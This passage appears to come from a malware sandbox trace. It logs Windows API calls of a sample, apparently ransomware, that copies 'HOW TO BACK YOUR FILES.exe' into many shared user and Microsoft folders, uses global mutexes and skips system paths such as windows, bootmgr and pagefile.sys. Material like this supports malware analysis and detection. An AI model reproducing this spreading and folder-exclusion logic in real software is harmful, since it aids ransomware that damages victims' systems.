settings\\all users\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.434] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0053.434] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.434] lstrcmpiW (lpString1="My Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.435] lstrcmpiW (lpString1="My Pictures", lpString2=".") returned 1 [0053.435] lstrcmpiW (lpString1="My Pictures", lpString2="..") returned 1 [0053.435] lstrcmpiW (lpString1="My Pictures", lpString2="windows") returned -1 [0053.435] lstrcmpiW (lpString1="My Pictures", lpString2="bootmgr") returned 1 [0053.435] lstrcmpiW (lpString1="My Pictures", lpString2="temp") returned -1 [0053.435] lstrcmpiW (lpString1="My Pictures", lpString2="pagefile.sys") returned -1 [0053.435] lstrcpyW (in: lpString1=0x241e8a4, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0053.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c620 [0053.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x5019a8 [0053.435] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0053.435] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0053.435] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.436] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0053.436] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.436] lstrcmpiW (lpString1="My Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.436] lstrcpyW (in: lpString1=0x241e8a4, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0053.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a5e0 [0053.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x52d660 [0053.436] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0053.436] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0053.436] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.436] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0053.436] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.436] ReleaseMutex (hMutex=0xec) returned 1 [0053.436] CloseHandle (hObject=0xec) returned 1 [0053.436] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Favorites" | out: lpString1="C:\\Documents and Settings\\All Users\\Favorites") returned="C:\\Documents and Settings\\All Users\\Favorites" [0053.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b190 | out: hHeap=0x4f0000) returned 1 [0053.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c650 | out: hHeap=0x4f0000) returned 1 [0053.437] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Favorites") returned 45 [0053.437] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\326FE3D28E80CEB27DDEF675797F9220") returned 0xec [0053.437] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.437] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Favorites" | out: lpString1="C:\\Documents and Settings\\All Users\\Favorites") returned="C:\\Documents and Settings\\All Users\\Favorites" [0053.437] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.437] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.437] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\favorites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.437] GetLastError () returned 0x0 [0053.437] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.438] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.438] CloseHandle (hObject=0xf4) returned 1 [0053.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.438] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.438] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Favorites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.439] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.439] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.439] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.439] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.439] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.440] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft") returned="C:\\Documents and Settings\\All Users\\Microsoft" [0053.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b1f8 | out: hHeap=0x4f0000) returned 1 [0053.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c668 | out: hHeap=0x4f0000) returned 1 [0053.441] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft") returned 45 [0053.441] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8469895498B62CCCDF2723B721F4FACA") returned 0xec [0053.441] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.441] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft") returned="C:\\Documents and Settings\\All Users\\Microsoft" [0053.441] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.441] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.441] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.441] GetLastError () returned 0x0 [0053.441] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.441] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.442] CloseHandle (hObject=0xf4) returned 1 [0053.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.442] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.442] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.442] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.442] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.443] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Assistance" | out: lpString1="Assistance") returned="Assistance" [0053.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c668 [0053.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x501928 [0053.443] lstrcatW (in: lpString1="Assistance", lpString2="\\" | out: lpString1="Assistance\\") returned="Assistance\\" [0053.443] lstrcatW (in: lpString1="Assistance\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Assistance\\HOW TO BACK YOUR FILES.exe") returned="Assistance\\HOW TO BACK YOUR FILES.exe" [0053.443] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Assistance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\assistance\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.443] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4777b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0053.443] lstrcmpiW (lpString1="Crypto", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.443] lstrcmpiW (lpString1="Crypto", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.443] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Crypto" | out: lpString1="Crypto") returned="Crypto" [0053.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c650 [0053.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d6d8 [0053.444] lstrcatW (in: lpString1="Crypto", lpString2="\\" | out: lpString1="Crypto\\") returned="Crypto\\" [0053.444] lstrcatW (in: lpString1="Crypto\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Crypto\\HOW TO BACK YOUR FILES.exe") returned="Crypto\\HOW TO BACK YOUR FILES.exe" [0053.444] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.444] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0053.444] lstrcmpiW (lpString1="Device Stage", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.444] lstrcmpiW (lpString1="Device Stage", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.444] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Device Stage" | out: lpString1="Device Stage") returned="Device Stage" [0053.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a5f8 [0053.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x501828 [0053.444] lstrcatW (in: lpString1="Device Stage", lpString2="\\" | out: lpString1="Device Stage\\") returned="Device Stage\\" [0053.444] lstrcatW (in: lpString1="Device Stage\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Device Stage\\HOW TO BACK YOUR FILES.exe") returned="Device Stage\\HOW TO BACK YOUR FILES.exe" [0053.444] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Device Stage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\device stage\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.445] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0053.445] lstrcmpiW (lpString1="DeviceSync", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.445] lstrcmpiW (lpString1="DeviceSync", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.445] lstrcpyW (in: lpString1=0x241e8a4, lpString2="DeviceSync" | out: lpString1="DeviceSync") returned="DeviceSync" [0053.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a610 [0053.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5017a8 [0053.445] lstrcatW (in: lpString1="DeviceSync", lpString2="\\" | out: lpString1="DeviceSync\\") returned="DeviceSync\\" [0053.445] lstrcatW (in: lpString1="DeviceSync\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DeviceSync\\HOW TO BACK YOUR FILES.exe") returned="DeviceSync\\HOW TO BACK YOUR FILES.exe" [0053.445] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\DeviceSync\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\devicesync\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.445] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0053.446] lstrcmpiW (lpString1="DRM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.446] lstrcmpiW (lpString1="DRM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.446] lstrcpyW (in: lpString1=0x241e8a4, lpString2="DRM" | out: lpString1="DRM") returned="DRM" [0053.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a628 [0053.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52e890 [0053.446] lstrcatW (in: lpString1="DRM", lpString2="\\" | out: lpString1="DRM\\") returned="DRM\\" [0053.446] lstrcatW (in: lpString1="DRM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DRM\\HOW TO BACK YOUR FILES.exe") returned="DRM\\HOW TO BACK YOUR FILES.exe" [0053.446] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\DRM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\drm\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.446] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0053.446] lstrcmpiW (lpString1="eHome", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.446] lstrcmpiW (lpString1="eHome", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.446] lstrcpyW (in: lpString1=0x241e8a4, lpString2="eHome" | out: lpString1="eHome") returned="eHome" [0053.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a640 [0053.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52e900 [0053.446] lstrcatW (in: lpString1="eHome", lpString2="\\" | out: lpString1="eHome\\") returned="eHome\\" [0053.446] lstrcatW (in: lpString1="eHome\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="eHome\\HOW TO BACK YOUR FILES.exe") returned="eHome\\HOW TO BACK YOUR FILES.exe" [0053.447] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\eHome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\ehome\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.447] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0053.447] lstrcmpiW (lpString1="Event Viewer", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.447] lstrcmpiW (lpString1="Event Viewer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.447] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Event Viewer" | out: lpString1="Event Viewer") returned="Event Viewer" [0053.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a658 [0053.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x5020a8 [0053.447] lstrcatW (in: lpString1="Event Viewer", lpString2="\\" | out: lpString1="Event Viewer\\") returned="Event Viewer\\" [0053.447] lstrcatW (in: lpString1="Event Viewer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Event Viewer\\HOW TO BACK YOUR FILES.exe") returned="Event Viewer\\HOW TO BACK YOUR FILES.exe" [0053.447] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\event viewer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.448] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc608f00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.448] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.448] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0053.448] lstrcmpiW (lpString1="IdentityCRL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.448] lstrcmpiW (lpString1="IdentityCRL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.448] lstrcpyW (in: lpString1=0x241e8a4, lpString2="IdentityCRL" | out: lpString1="IdentityCRL") returned="IdentityCRL" [0053.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a670 [0053.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x502128 [0053.448] lstrcatW (in: lpString1="IdentityCRL", lpString2="\\" | out: lpString1="IdentityCRL\\") returned="IdentityCRL\\" [0053.448] lstrcatW (in: lpString1="IdentityCRL\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IdentityCRL\\HOW TO BACK YOUR FILES.exe") returned="IdentityCRL\\HOW TO BACK YOUR FILES.exe" [0053.448] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\IdentityCRL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\identitycrl\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.449] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0053.449] lstrcmpiW (lpString1="Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.449] lstrcmpiW (lpString1="Media Player", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.449] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Media Player" | out: lpString1="Media Player") returned="Media Player" [0053.449] RtlAllocateHeap 